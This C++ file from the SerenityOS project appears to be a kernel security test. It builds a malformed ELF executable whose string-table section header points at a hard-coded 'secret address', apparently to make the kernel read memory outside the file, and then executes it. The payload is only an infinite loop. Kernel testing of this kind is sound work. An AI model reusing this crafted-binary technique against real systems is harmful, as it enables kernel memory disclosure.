text: /*
   * Copyright (c) 2018-2020, the SerenityOS developers.
   * All rights reserved.
   *
   * Redistribution and use in source and binary forms, with or without
   * modification, are permitted provided that the following conditions are met:
   *
   * 1. Redistributions of source code must retain the above copyright notice, this
   *    list of conditions and the following disclaimer.
   *
   * 2. Redistributions in binary form must reproduce the above copyright notice,
   *    this list of conditions and the following disclaimer in the documentation
   *    and/or other materials provided with the distribution.
   *
   * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
   * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
   * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
   * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
   * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
   * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
   * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
   * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
   * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
   * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
   */
  
  #include <LibELF/exec_elf.h>
  #include <fcntl.h>
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>
  
  asm("haxcode:\n"
      "1: jmp 1b\n"
      "haxcode_end:\n");
  
  extern "C" void haxcode();
  extern "C" void haxcode_end();
  
  #pragma GCC diagnostic ignored "-Wdeprecated-declarations"
  
  int main()
  {
      char buffer[16384];
  
      auto& header = *(Elf32_Ehdr*)buffer;
      header.e_ident[EI_MAG0] = ELFMAG0;
      header.e_ident[EI_MAG1] = ELFMAG1;
      header.e_ident[EI_MAG2] = ELFMAG2;
      header.e_ident[EI_MAG3] = ELFMAG3;
      header.e_ident[EI_CLASS] = ELFCLASS32;
      header.e_ident[EI_DATA] = ELFDATA2LSB;
      header.e_ident[EI_VERSION] = EV_CURRENT;
      header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
      header.e_ident[EI_ABIVERSION] = 0;
      header.e_type = ET_EXEC;
      header.e_version = EV_CURRENT;
      header.e_ehsize = sizeof(Elf32_Ehdr);
      header.e_machine = EM_386;
      header.e_shentsize = sizeof(Elf32_Shdr);
  
      header.e_phnum = 1;
      header.e_phoff = 52;
      header.e_phentsize = sizeof(Elf32_Phdr);
  
      auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
      ph[0].p_vaddr = 0x20000000;
      ph[0].p_type = PT_LOAD;
      ph[0].p_filesz = sizeof(buffer);
      ph[0].p_memsz = sizeof(buffer);
      ph[0].p_flags = PF_R | PF_X;
      ph[0].p_align = PAGE_SIZE;
  
      header.e_shnum = 3;
      header.e_shoff = 1024;
  
      u32 secret_address = 0x00184658;
  
      auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
      sh[0].sh_type = SHT_SYMTAB;
      sh[0].sh_offset = 2048;
      sh[0].sh_entsize = sizeof(Elf32_Sym);
      sh[0].sh_size = 2 * sizeof(Elf32_Sym);
  
      sh[1].sh_type = SHT_STRTAB;
      sh[1].sh_offset = secret_address - 0x01001000;
      sh[1].sh_entsize = 0;
      sh[1].sh_size = 1024;
  
      sh[2].sh_type = SHT_STRTAB;
      sh[2].sh_offset = 4096;
      sh[2].sh_entsize = 0;
      sh[2].sh_size = 1024;
      header.e_shstrndx = 2;
  
      auto* sym = (Elf32_Sym*)(&buffer[2048]);
      sym[0].st_value = 0x20002000;
      sym[0].st_name = 0;
  
      sym[1].st_value = 0x30000000;
      sym[1].st_name = 0;
  
      auto* strtab = (char*)&buffer[3072];
      strcpy(strtab, "sneaky!");
  
      auto* shstrtab = (char*)&buffer[4096];
      strcpy(shstrtab, ".strtab");
  
      auto* code = &buffer[8192];
      size_t haxcode_size = (u32)haxcode_end - (u32)haxcode;
      printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
      memcpy(code, (void*)haxcode, haxcode_size);
  
      header.e_entry = 0x20000000 + 8192;
  
      int fd = open("x", O_RDWR | O_CREAT, 0777);
      if (fd < 0) {
          perror("open");
          return 1;
      }
  
      int nwritten = write(fd, buffer, sizeof(buffer));
      if (nwritten < 0) {
          perror("write");
          return 1;
      }
  
      if (execl("/home/anon/x", "x", nullptr) < 0) {
          perror("execl");
          return 1;
      }
  
      return 0;
  }
  